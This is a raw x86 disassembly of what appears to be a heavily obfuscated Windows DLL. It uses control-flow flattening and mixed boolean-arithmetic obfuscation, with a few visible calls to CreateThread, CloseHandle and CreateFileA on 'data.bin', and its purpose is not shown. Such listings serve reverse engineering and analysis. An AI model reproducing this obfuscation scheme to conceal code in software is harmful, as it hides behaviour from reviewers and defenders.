mov ecx, eax
not ecx
mov edx, eax
and edx, 0xf292ff9b
and ecx, 0xd6d0064
or ecx, edx
xor ecx, 0xd6d0064
or ecx, eax
xor ecx, 0xffffffff
sete al
setne cl
cmp dword [0x10049904], 0xa
setl dl
setge ah
mov dh, cl
inc dh
mov ch, cl
and ch, dh
xor ch, 1
mov bl, dh
xor bl, ch
or ch, dh
xor ch, 1
or ch, bl
xor ch, ah
mov dh, dl
xor dh, cl
and dh, dl
mov ebx, edx
xor bl, ah
xor bl, 1
mov bh, ah
or bh, bl
xor bh, 1
or bh, ah
xor ah, cl
or ah, dh
xor ah, 1
mov dh, ch
xor dh, ah
or ah, ch
xor ah, 1
or ah, dh
xor dh, 1
mov ch, dh
xor ch, ah
or dh, ah
xor dh, 1
or dh, ch
mov ah, dh
xor ah, 1
and ah, dh
xor ah, 1
mov ch, dh
xor ch, ah
or ah, dh
xor ah, 1
or ah, ch
mov ch, bh
xor ch, 1
or bl, dl
mov edx, ebx
xor dl, 1
and ch, bl
and dl, bh
or dl, ch
or bl, bh
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and cl, dl
and bl, al
or bl, cl
xor dl, bl
and dl, bl
xor bl, 1
or bl, al
xor bl, 1
or dl, bl
mov ch, dl
xor ch, 1
mov al, ch
and al, dl
mov cl, ch
xor cl, al
xor al, 1
or al, dl
xor al, 1
or cl, al
xor cl, 1
mov dl, ah
or dl, cl
xor dl, 1
xor cl, ah
or cl, dl
mov dl, ah
xor dl, 1
or al, ch
and ah, al
xor al, 1
and al, dl
or al, ah
mov ah, al
xor ah, 1
mov edx, eax
and dl, ah
xor dl, 1
mov ch, ah
xor ch, dl
or dl, ah
mov ah, cl
xor ah, 1
xor dl, 1
or dl, ch
xor dl, cl
mov ch, cl
and ch, ah
xor ch, 1
or ch, ah
xor ch, 1
or ch, cl
xor ch, al
or al, ah
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xb18bdc56
mov esi, 0x513cbc81
cmovne edx, esi
test al, 1
mov eax, edx
mov esi, 0xb18bdc56
jmp 0x1000f5b0
cmp eax, 0xb8e59c86
jg 0x1001216c
cmp eax, 0xb404007f
jg 0x10016a2b
cmp eax, 0xb18bdc56
je 0x1001cf14
cmp eax, 0xb357393b
jne 0x1000f5c0
mov eax, dword [ebp - 0x6c]
cmp eax, 2
mov eax, 0x7fafc0c3
mov ecx, 0xe9846d2e
cmovb eax, ecx
jmp 0x1000f5c0
cmp eax, 0x1a46886e
jle 0x10013ab9
cmp eax, 0x1c969ba6
jg 0x10017ca0
cmp eax, 0x1a46886f
je 0x1001d768
cmp eax, 0x1b334a66
jne 0x1000f5c0
mov eax, dword [ebp - 0x50]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10049900]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
mov edx, eax
mov ecx, eax
and edx, esi
mov dword [ebp - 0x18], edx
mov edx, eax
and eax, 0x18c493b1
mov ecx, esi
and ecx, 0xe73b6c4e
or ecx, eax
mov dword [ebp - 0x14], ecx
mov edi, esi
xor edi, 0x457cc4e3
and edi, esi
mov ebx, esi
or esi, 0xba833b1c
mov ecx, esi
and ecx, 0x3496920b
mov eax, edx
and eax, 0x416844e0
or eax, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x3496920b
and edi, 0xcb696df4
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov eax, esi
xor eax, 0x82014cc8
xor esi, 0x55248110
and esi, 0x75b69333
and eax, 0x8a496ccc
or eax, esi
mov ecx, dword [ebp - 0x14]
xor ecx, 0xd0f9c0b0
mov edi, ecx
mov esi, ecx
xor edi, edx
xor eax, 0x8a496ccc
or eax, edx
mov dword [ebp - 0x14], eax
and edx, 0x129d52ac
and ebx, 0xed62ad53
or ebx, edx
xor ebx, 0xed62ad53
mov edx, dword [ebp - 0x18]
or edx, ebx
mov ecx, edx
not ecx
and edx, 0x3c16b05
mov eax, ecx
and eax, 0xfc3e94fa
or eax, edx
xor eax, 0x3403c7fb
and ecx, 0x37c2acfe
or ecx, eax
mov edx, ecx
not edx
and edi, esi
mov eax, ecx
and eax, 0x950bade0
mov ebx, edx
and ebx, 0x6af4521f
or ebx, eax
mov esi, edi
xor esi, 0x1d298abf
and esi, edi
mov eax, edi
not eax
mov edi, eax
and edi, 0x1d298abf
or esi, edi
mov edi, ebx
xor edi, 0x11088820
or edi, 0xa0442400
mov dword [ebp - 0x18], ebx
xor ebx, 0x820001d
and edi, 0xb14cae22
and ebx, 0xc21009d
or ebx, edi
or ecx, 0x11088a22
and ecx, 0xb14cae22
and edx, 0x42925140
or edx, ecx
xor edx, ebx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edx
mov edx, dword [ebp - 0x18]
xor edx, 0x6af4521f
xor ecx, esi
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x180e4010
mov esi, eax
or esi, 0x1502620
and esi, 0x195e6630
and ecx, 0x20010148
or ecx, esi
and edx, 0x195e6630
and eax, 0xc6a09887
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0xfcdeda6
xor eax, 0xf0321259
mov edx, eax
and edx, 0xc0be6e7e
and eax, ecx
and ecx, 0x3f419181
or ecx, edx
mov edx, ecx
xor edx, 0x3008000
xor ecx, 0xc0be6e7e
mov esi, ecx
and esi, 0xe4cd1208
and edx, 0x3228800
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xe4cd1208
and eax, 0x3228800
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
or edx, 0x181065f7
not ecx
mov eax, edx
and eax, 0xabea3784
and ecx, 0x44058808
or ecx, eax
xor ecx, 0xabea3784
xor edx, ecx
and edx, ecx
mov esi, edx
not esi
mov eax, edx
and eax, 0x302c384f
mov ecx, esi
and ecx, 0xcfd3c7b0
or ecx, eax
mov dword [ebp - 0x24], ecx
mov ebx, dword [ebp - 0x14]
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0x38849a18
mov edi, eax
and edi, 0x700006
or edi, ecx
xor edi, 0x700006
and ebx, 0xc70b65e1
or ebx, edi
mov dword [ebp - 0x18], ebx
mov ecx, dword [ebp - 0x24]
mov edi, ecx
xor edi, 0x302c384f
mov dword [ebp - 0x2c], edi
xor ecx, 0xcfd3c7b0
mov dword [ebp - 0x1c], ecx
and ecx, 0x30101
and edi, 0xa480086e
or edi, ecx
mov ecx, edi
xor ecx, 0xa0800060
or ecx, 0x13187480
and edi, 0x400080e
and ecx, 0xb39b75e1
or ecx, edi
and esi, 0x4944f290
and edx, 0x12380400
or edx, esi
mov esi, edx
xor esi, 0x2100000
or esi, 0x24010949
xor edx, 0x9000280
and edx, 0x19280680
and esi, 0x6655f959
or esi, edx
mov ebx, dword [ebp - 0x18]
not ebx
mov dword [ebp - 0x20], ebx
mov edx, ebx
and edx, 0x5b7cf690
mov edi, dword [ebp - 0x18]
and edi, 0xa483096f
or edi, edx
mov edx, edi
xor edx, ebx
and edx, edi
mov dword [ebp - 0x28], edx
mov edi, dword [ebp - 0x14]
mov edx, edi
and edx, 0xfa8fc9b2
and eax, 0x570364d
or eax, edx
xor eax, 0x5e0cc0dd
xor edi, eax
and edi, eax
mov dword [ebp - 0x14], edi
mov edi, esi
xor edi, 0x6655f959
xor esi, 0x8aa0620
and esi, 0x2eaeee78
mov edx, edi
and edx, 0x51501080
or edx, esi
mov eax, ecx
xor eax, 0xb39b75e1
mov esi, ecx
xor esi, 0x4c648a1e
mov dword [ebp - 0x30], esi
xor ecx, 0xb64a2600
and ecx, esi
mov esi, eax
and esi, 0xa002080e
or esi, ecx
mov ecx, edx
xor ecx, 0xd1511187
mov ebx, edx
xor ebx, 0x2b7fbd99
and ebx, ecx
and edi, 0x5a2ca410
or edi, ebx
mov ebx, edi
xor ebx, edi
not ebx
and ebx, esi
xor ebx, edi
mov esi, eax
and esi, 0x2481086b
mov edi, dword [ebp - 0x30]
and edi, 0xc21a1504
or edi, esi
xor edx, 0x2eaeee78
or eax, edx
and edx, 0x3d64ead8
and ecx, 0xc21a1504
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x5756a606
and ebx, 0xa8a959f9
or ebx, ecx
mov ecx, eax
not ecx
or edi, eax
and eax, 0x5756a606
and ecx, 0xa8a959f9
or ecx, eax
xor ecx, ebx
not edi
or edi, ecx
mov ecx, dword [ebp - 0x28]
mov eax, ecx
not eax
mov dword [ebp - 0x30], eax
and eax, 0x8cd4187f
and ecx, 0x732be780
or ecx, eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x14]
mov ebx, eax
not ebx
xor eax, 0x8cd4187f
mov ecx, eax
and ecx, ebx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x4e1ff1e1
and ecx, 0xb1e00e1e
or ecx, esi
and eax, dword [ebp - 0x14]
mov esi, eax
not esi
or edx, esi
and esi, 0x4e1ff1e1
and eax, 0xb1e00e1e
or eax, esi
xor eax, ecx
not edx
or edx, eax
xor edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x28]
mov eax, esi
and eax, 0xf748ab33
mov ecx, dword [ebp - 0x30]
and ecx, 0x8b754cc
or ecx, eax
mov eax, dword [ebp - 0x14]
or esi, eax
and eax, 0xf748ab33
and ebx, 0x8b754cc
or ebx, eax
xor ebx, ecx
not esi
or esi, ebx
not esi
or esi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x6020522c
mov edx, edi
and edx, 0x9fdfadd3
or edx, ecx
mov ecx, edx
xor ecx, 0x10080
xor edx, 0x60200000
or edx, 0x8bd04344
and edx, 0xfbfee757
and ecx, 0x10088
or ecx, edx
or eax, 0x702ea413
and eax, 0xfbfee757
and edi, 0x4001820
or edi, eax
xor edi, ecx
mov ecx, esi
not ecx
and ecx, esi
mov eax, esi
xor eax, 0x702fa49b
xor ecx, eax
xor ecx, edi
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x20]
and eax, 0x56b4790d
mov edx, dword [ebp - 0x18]
mov ecx, edx
xor ecx, 0x56b4790d
and ecx, edx
or ecx, eax
mov ebx, dword [ebp - 0x2c]
mov eax, ebx
or eax, 0xa94b86f2
mov esi, eax
and esi, 0x34e5111c
mov edx, dword [ebp - 0x1c]
and edx, 0x42106801
or edx, esi
mov edi, dword [ebp - 0x24]
xor edi, 0x66984142
and edi, ebx
mov esi, edi
not esi
or eax, esi
and esi, 0x34e5111c
and edi, 0xcb1aeee3
or edi, esi
xor edi, edx
not eax
or eax, edi
xor eax, ecx
mov ecx, ebx
and ecx, 0x4ef5c6ea
mov esi, dword [ebp - 0x1c]
and esi, 0xb10a3915
or esi, ecx
mov ecx, dword [ebp - 0x18]
or ebx, ecx
and ecx, 0x4ef5c6ea
mov edi, dword [ebp - 0x20]
and edi, 0xb10a3915
or edi, ecx
xor edi, esi
not ebx
or ebx, edi
not ebx
or ebx, eax
mov ecx, ebx
xor ecx, 0x6e863a45
and ecx, ebx
not ebx
and ebx, 0x6e863a45
or ebx, ecx
not ecx
and ecx, 0x9179c5ba
and ebx, 0x6e863a45
or ebx, ecx
mov edx, ebx
not edx
and ebx, 0x7779170f
and edx, 0x8886e8f0
or edx, ebx
mov ecx, dword [ebp - 0x28]
mov eax, ecx
not eax
mov dword [ebp - 0x18], eax
and eax, 0xf4abe0e5
mov ebx, ecx
xor ebx, 0xf4abe0e5
and ebx, ecx
or ebx, eax
mov esi, edx
xor esi, 0x7779170f
mov dword [ebp - 0x14], edx
xor edx, 0x7c2d0815
mov ecx, edx
and ecx, esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0xf3597e5f
and ecx, 0xca681a0
or ecx, edi
mov edi, dword [ebp - 0x14]
xor edi, 0x8886e8f0
mov dword [ebp - 0x14], edi
and edx, edi
mov edi, edx
not edi
or eax, edi
and edi, 0xf3597e5f
and edx, 0xca681a0
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
xor edx, eax
not edx
and edx, ebx
xor edx, eax
mov ecx, dword [ebp - 0x28]
mov eax, ecx
and eax, 0x80ac0973
mov edi, dword [ebp - 0x18]
and edi, 0x7f53f68c
or edi, eax
mov eax, dword [ebp - 0x14]
or ecx, eax
and eax, 0x80ac0973
and esi, 0x7f53f68c
or esi, eax
xor esi, edi
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edi, edx
not edi
mov esi, edi
and esi, 0x130a9da9
and edx, 0xecf56256
or edx, esi
or edi, ecx
and ecx, 0x130a9da9
and eax, 0xecf56256
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov edx, edi
not edx
mov esi, edx
and esi, 0x100a2220
mov ecx, edi
and ecx, 0x2000440
or ecx, esi
xor ecx, 0x2000440
mov esi, edi
xor esi, 0x9b8a3fe2
and esi, edi
or ecx, esi
not esi
and esi, 0x60558015
and ecx, 0x120a2660
or ecx, esi
and edx, 0x7238c8f3
and edi, 0x8dc7370c
or edi, edx
mov edx, edi
mov dword [ebp - 0x1c], edi
mov eax, ecx
not eax
mov dword [ebp - 0x14], eax
mov edi, ecx
xor edi, 0x69c8a78a
and edi, eax
mov esi, edi
not esi
mov ebx, esi
and ebx, 0xf21c6630
and edi, 0x143894f
or edi, ebx
mov ebx, ecx
xor ebx, 0x6048a600
and ebx, ecx
mov eax, ebx
not eax
or esi, eax
and eax, 0xfa9c66b0
and ebx, 0x438045
or ebx, eax
xor ebx, edi
not esi
or esi, ebx
mov eax, edx
xor eax, 0x8dc7370c
mov edi, eax
or edi, 0x725fa675
mov ebx, edi
not ebx
mov dword [ebp - 0x18], ebx
or ebx, 0x84204800
and ebx, 0x85204980
mov edx, edi
and edx, 0x880000a
or edx, ebx
or eax, 0x1002380
and eax, 0x85206b80
mov ebx, dword [ebp - 0x1c]
and ebx, 0x1000
or ebx, eax
xor ebx, edx
xor ebx, esi
mov edx, ebx
mov eax, ecx
and eax, 0x320c0015
mov esi, dword [ebp - 0x14]
and esi, 0xc573f76a
or esi, eax
xor edx, 0x60488400
mov eax, dword [ebp - 0x18]
or ecx, eax
and eax, 0x8800880
and edi, 0xc573f76a
or edi, eax
xor edi, esi
not ecx
or ecx, edi
not ecx
or ecx, edx
mov esi, ecx
xor esi, 0x6a4fc382
xor ecx, 0x95b03c7d
mov eax, ecx
mov ebx, ecx
and eax, 0x6098bbd9
mov ecx, esi
and ecx, 0x2064004
or ecx, eax
xor ecx, 0x2064004
mov edx, esi
and edx, 0x9d610422
or edx, ecx
mov edi, edx
not edi
mov eax, edi
and eax, 0x27b0c90e
and edx, 0xd84f36f1
or edx, eax
mov ecx, edx
xor ecx, 0xbad1cd2c
xor edx, 0x452e32d2
and edx, ecx
and edi, 1
and ecx, 0xfffffffe
or ecx, edi
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x514c847f
and edx, 0xaeb37b80
or edx, eax
xor edx, 0x514c847f
xor ecx, edx
and ecx, edx
mov dword [ebp - 0x14], ecx
mov eax, esi
and eax, 0xac68152c
mov edi, ebx
and edi, 0x5397ead3
or edi, eax
mov edx, edi
xor edx, 0xc040
and edi, 0x42012803
and edx, 0xa020d540
or edx, edi
mov eax, ebx
and eax, 0x6fb6b62c
and esi, 0x904949d3
or esi, eax
mov edi, edx
xor edi, 0xa020d540
xor esi, 0x8d974b6f
xor ebx, esi
and ebx, esi
mov eax, ebx
mov esi, edx
xor esi, 0x5fdf2abf
xor edx, 0x2219000
and edx, edi
mov edi, ebx
xor edi, 0xb34547e0
mov ebx, edi
and edi, eax
not eax
and ebx, eax
or eax, esi
and esi, 0xb34547e0
or edx, esi
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0xc66fd245
and ebx, 0x39902dba
or ebx, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0xc66fd245
and edi, 0x39902dba
or edi, ecx
xor edi, ebx
not esi
or esi, edi
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edx
xor ecx, esi
mov edx, ecx
not edx
mov esi, edx
and esi, 0xc514d036
and ecx, 0x3aeb2fc9
or ecx, esi
or edx, eax
and eax, 0xe735fd77
xor eax, ecx
xor eax, 0x22212d41
not edx
or edx, eax
mov eax, edx
mov ebx, dword [ebp - 0x14]
mov esi, ebx
not esi
mov edi, esi
and edi, 0x696524e5
xor edx, 0xe221fd42
xor esi, edx
mov ecx, edx
or edx, ebx
and esi, ebx
and ebx, 0x969adb1a
or ebx, edi
xor eax, 0x19ce02a4
xor ebx, 0x969adb1a
and ecx, 0x6104959
and eax, 0xf9efb6a6
or eax, ecx
xor eax, 0xf9efb6a6
or eax, ebx
mov ecx, eax
not ecx
not edx
or esi, edx
mov edx, esi
not edx
and esi, eax
or eax, edx
and edx, ecx
or edx, esi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x62952ebb
and edx, 0x9d6ad144
or edx, esi
xor edx, eax
xor edx, 0x9d6ad144
or ecx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x53100384
mov esi, ecx
and esi, 0xa8041402
or esi, eax
xor esi, 0xa8041402
mov eax, ecx
xor eax, 0xfb141786
and eax, ecx
or esi, eax
not eax
and eax, 0x4ebe879
and esi, 0xfb141786
or esi, eax
mov eax, esi
not eax
mov edi, eax
and edi, esi
and eax, 0x94f93fc1
and esi, 0x6b06c03e
or esi, eax
xor esi, 0x94f93fc1
or esi, edi
mov eax, esi
not eax
mov edi, esi
xor edi, 0x45b419ee
and edi, eax
or eax, 0x45b419ee
mov ebx, eax
and ebx, 0xf4c9e1f9
and esi, 0xa020600
or esi, ebx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0xf4c9e1f9
and edi, 0xb361e06
or edi, ebx
xor edi, esi
not eax
or eax, edi
mov esi, eax
xor esi, 0x4a80e230
xor eax, 0x105d1d43
mov edi, eax
and edi, 0xa5260c8f
and esi, 0x5ad9f370
or esi, edi
xor esi, 0xf30f7dd
xor eax, esi
and eax, esi
mov esi, ecx
or esi, 0xaa16fb52
and ecx, 0x55e904ad
mov edi, edx
and edi, 0xaa16fb52
or edi, ecx
mov ecx, esi
and ecx, 0x74059fec
and edx, 0x1e80001
or edx, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x74059fec
and edi, 0x8bfa6013
or edi, ecx
xor edi, edx
not esi
or esi, edi
mov edx, esi
not edx
mov ecx, edx
and ecx, esi
mov edi, esi
and edi, 0x2def8a26
and edx, 0xd21075d9
or edx, edi
mov edi, ecx
not edi
or esi, edi
and edi, 0x2def8a26
and ecx, 0xd21075d9
or ecx, edi
xor ecx, edx
not esi
or esi, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa89d0607
mov ebx, eax
and ebx, 0x5762f9f8
or ebx, edx
mov edi, esi
not edi
mov edx, esi
and edx, 0xa89d0607
mov dword [ebp - 0x14], edx
mov edx, edi
and edx, 0x5762f9f8
add edx, dword [ebp - 0x14]
xor edx, ebx
and edi, 0x4040010
mov ebx, esi
and ebx, 0x2a202300
or ebx, edi
not edx
or edx, ecx
xor ebx, 0x2a202300
and esi, 0xd1dbdcef
or esi, ebx
mov edi, eax
or edi, 0x51dbd066
and edi, 0x7dfff066
mov ebx, ecx
and ecx, 0x2000310
or ecx, edi
or ebx, 0x2c242000
xor ecx, esi
and ebx, 0x7dfff066
and eax, 0x80000c89
or eax, ebx
xor eax, ecx
mov ecx, eax
and eax, edx
mov esi, edx
not esi
not ecx
mov edx, esi
xor edx, ecx
and edx, esi
and ecx, esi
or ecx, eax
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x90373854
and edx, 0x6fc8c7ab
or edx, edi
or eax, esi
and esi, 0x90373854
and ecx, 0x6fc8c7ab
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
mov esi, eax
mov edi, ecx
and edi, 0x36cfc776
and eax, 0xc9303889
or eax, edi
not eax
or eax, ecx
and ecx, 0x6844122
and edx, 0x30004
or edx, ecx
xor edx, 0x30004
and esi, 0x30488650
or esi, edx
mov ecx, esi
xor ecx, 0x20408650
xor esi, 0xcfb779af
mov edx, esi
or edx, eax
and esi, 0x57bc00af
and ecx, 0x2043c750
or ecx, esi
xor ecx, eax
mov eax, ecx
xor eax, 0xa843ff50
xor ecx, 0x57bc00af
mov esi, ecx
and esi, 0xfa6ff3c7
and eax, 0x5900c38
or eax, esi
or ecx, edx
and edx, 0xfeeff7f7
xor edx, eax
xor edx, 0x4800430
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x9cd93c24
xor ecx, 0x6326c3db
mov edx, eax
and edx, 0x4d32610
mov esi, ecx
and esi, 0x88208004
or esi, edx
xor esi, 0x88208004
or esi, 0x730c59eb
mov edx, ecx
and edx, 0x8cf3a614
mov ebx, eax
and ebx, 0x730c59eb
or ebx, edx
mov edx, esi
not edx
not ebx
or ebx, ecx
mov edi, edx
xor edi, ebx
and edi, edx
xor edx, esi
and edx, ebx
xor edx, esi
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x5577f3dd
and edi, 0x88800400
or edi, ebx
mov ebx, edx
not ebx
or esi, ebx
and ebx, 0x5577f3dd
and edx, 0xaa880c22
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
xor edx, 0x8cf3a614
xor esi, 0x730c59eb
mov ebx, edx
and ebx, 0xf45d57e2
mov edi, esi
and esi, 0xba2a81d
or esi, ebx
and edi, edx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0xf45d57e2
and edi, 0xba2a81d
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, ecx
mov edi, eax
or edi, 0x4944200
and edi, 0x4dedbef
and ecx, 0xa212410
or ecx, edi
or esi, 0x4a99ef
and esi, 0x4dedbef
and eax, 0xf1000000
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0xf5944200
xor eax, 0xa6bbdff
mov esi, edx
xor esi, eax
and esi, edx
xor eax, ecx
and eax, edx
xor eax, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xdd73da62
and esi, 0x228c259d
or esi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0xdd73da62
and eax, 0x228c259d
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x822529a2
and eax, ecx
and ecx, 0x7ddad65d
or ecx, edx
xor ecx, 0x7ddad65d
or ecx, eax
sete al
setne cl
cmp dword [0x10049904], 0xa
setge dh
setl dl
mov ch, al
and ch, dh
or dh, cl
mov ah, dl
and ah, cl
or ah, ch
xor ah, 1
mov ch, ah
xor ch, dh
or ah, dh
mov ebx, edx
xor bl, al
mov dh, bl
and dh, al
or al, dl
and al, bl
and bl, dl
xor bl, 1
xor dh, 1
mov bh, bl
xor bh, dh
or dh, bl
xor dh, 1
or dh, bh
xor dh, 1
or dh, cl
xor cl, dl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, cl
or ah, cl
xor ah, 1
or ah, ch
mov cl, ah
xor cl, 1
mov ch, cl
and ch, ah
xor ch, 1
or ch, ah
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
and cl, ch
xor cl, 1
mov ah, ch
xor ah, cl
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, cl
xor ah, 1
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
mov cl, ah
xor cl, 1
mov ch, dl
xor ch, al
or al, dl
mov bl, dh
xor bl, 1
xor al, 1
or al, ch
mov dl, dh
and dl, bl
xor dl, 1
or dl, bl
mov ch, al
xor ch, 1
xor dl, 1
or dl, dh
and al, ch
xor al, 1
mov dh, ch
xor dh, al
or al, ch
xor al, 1
or al, dh
mov ch, dl
xor ch, 1
mov dh, al
xor dh, 1
and al, ch
and dl, dh
or dl, al
mov al, ch
xor al, dh
or dh, ch
xor dh, 1
or dh, al
xor dh, 1
mov ch, dl
xor ch, dh
or dh, dl
xor dh, 1
or dh, ch
xor ch, 1
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov edx, eax
and dl, ch
mov dh, al
xor dh, dl
xor dl, 1
or dl, ch
xor dl, 1
or dl, dh
mov dh, dl
xor dh, ah
and dh, dl
or dl, cl
xor dl, 1
or dl, dh
mov dh, ah
xor dh, dl
or dl, ah
xor dl, 1
or dl, dh
and cl, ah
xor cl, 1
mov dh, ah
xor dh, cl
or cl, ah
xor cl, 1
or cl, dh
mov dh, ch
xor dh, cl
or cl, ch
xor cl, 1
or cl, dh
mov ch, cl
xor ch, 1
mov dh, ah
xor dh, al
or al, ah
xor al, 1
or al, dh
mov dh, al
xor dh, 1
mov ah, ch
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, ch
mov bl, ah
xor bl, 1
and bl, dh
and ah, al
or al, cl
mov ch, dl
xor ch, 1
xor al, 1
or al, ah
or al, bl
mov cl, al
xor cl, 1
mov ah, cl
and ah, dl
and ch, al
or ch, ah
mov ah, ch
xor ah, dl
and ah, ch
xor cl, dl
and cl, al
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
mov ch, cl
xor ch, dl
test cl, 1
mov eax, 0xcd618f43
mov esi, 0xc95c0907
cmovne eax, esi
test dl, 1
cmove eax, esi
test ch, 1
mov ecx, 0xcd618f43
cmove eax, ecx
jmp 0x1000f5c0
cmp eax, 0xe9846d2d
jg 0x10017ccc
cmp eax, 0xe3c36466
je 0x1001e5b6
cmp eax, 0xe91b51af
jne 0x1000f5c0
mov eax, 0x54f26c78
jmp 0x1000f5c0
cmp eax, 0x54f26c77
jg 0x10017cf8
cmp eax, 0x53888286
je 0x1001f8eb
cmp eax, 0x549d7558
jne 0x1000f5c0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0xffffffffffffffaa
push dword [eax]
push dword [ecx]
call section..text
add esp, 0xc
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x40]
push 0
push 0
push dword [eax]
push 0x1000cf80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, 0xba4b2976
jmp 0x1000f5c0
cmp eax, 0x9578e031
jg 0x10017d34
cmp eax, 0x9250d5ac
je 0x1000dbdb
cmp eax, 0x926f42e4
jne 0x1000f5c0
mov eax, 0x9250d5ac
jmp 0x1000f5c0
cmp eax, 0x41ee25a7
jg 0x100189b6
cmp eax, 0x3c835a70
je 0x1001f901
cmp eax, 0x3d714b83
jne 0x1000f5c0
sub esp, 0x1c
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp], str.data.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov eax, 0xf6a0f819
jmp 0x1000f5c0
cmp eax, 0xbc3d5e8
jg 0x100189e2
cmp eax, 0xfd8852ba
je 0x1001f90b
cmp eax, 0xffc015ba
jne 0x1000f5c0
mov eax, dword [0x10049900]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, ecx
mov edi, ecx
mov dword [ebp - 0x14], ecx
and eax, 0x20230447
mov ecx, esi
and ecx, 0x40185a38
or ecx, eax
xor ecx, 0x40185a38
mov edx, esi
xor edx, 0x603b5e7f
and edx, esi
mov eax, esi
mov dword [ebp - 0x18], esi
or edx, ecx
mov ecx, edi
and ecx, 0x33e56e91
and eax, 0xcc1a916e
or eax, ecx
mov ecx, eax
xor ecx, 0xcc1a916e
xor eax, 0x30a12000
and eax, 0x74ab3160
mov esi, ecx
and esi, 0x8b54ce9f
or esi, eax
xor esi, 0x8b54ce9f
or esi, ecx
mov eax, edx
xor eax, 0x9fc4a180
mov edi, edx
xor edi, 0x60011232
and edi, 0xe341b232
xor edx, 0x7504844b
and edx, eax
and eax, 0x1cbe4dcd
or eax, edi
mov edi, esi
not edi
mov ecx, esi
and ecx, 0xfc88b535
xor esi, 0x153fda34
and esi, edi
and edi, 0x3774aca
or edi, ecx
xor edi, 0x3774aca
mov ecx, edi
and ecx, 0xeac025cb
or esi, ecx
mov ecx, eax
xor ecx, 0x1cbe4dcd
mov dword [ebp - 0x1c], ecx
xor eax, 0x98197f9
and eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x77f12d18
and eax, 0x880ed2e7
or eax, ecx
mov ecx, edx
not ecx
or ebx, ecx
and ecx, 0x77f12d18
and edx, 0x880ed2e7
or edx, ecx
xor edx, eax
not ebx
or ebx, edx
xor ebx, esi
or edi, dword [ebp - 0x1c]
mov edx, ebx
not edx
mov eax, edx
and eax, 0xaa0ec0d
and ebx, 0xf55f13f2
or ebx, eax
xor ebx, edi
xor ebx, 0xf55f13f2
or edx, edi
not edx
or edx, ebx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x1f38c64d
xor edx, 0x50c3abaa
and edx, eax
and eax, 0xe0c739b2
or eax, ecx
mov ecx, eax
xor ecx, 0xe0c739b2
xor eax, 0xb0049218
and eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x94902146
and eax, 0x6b6fdeb9
or eax, ecx
mov ecx, edx
not ecx
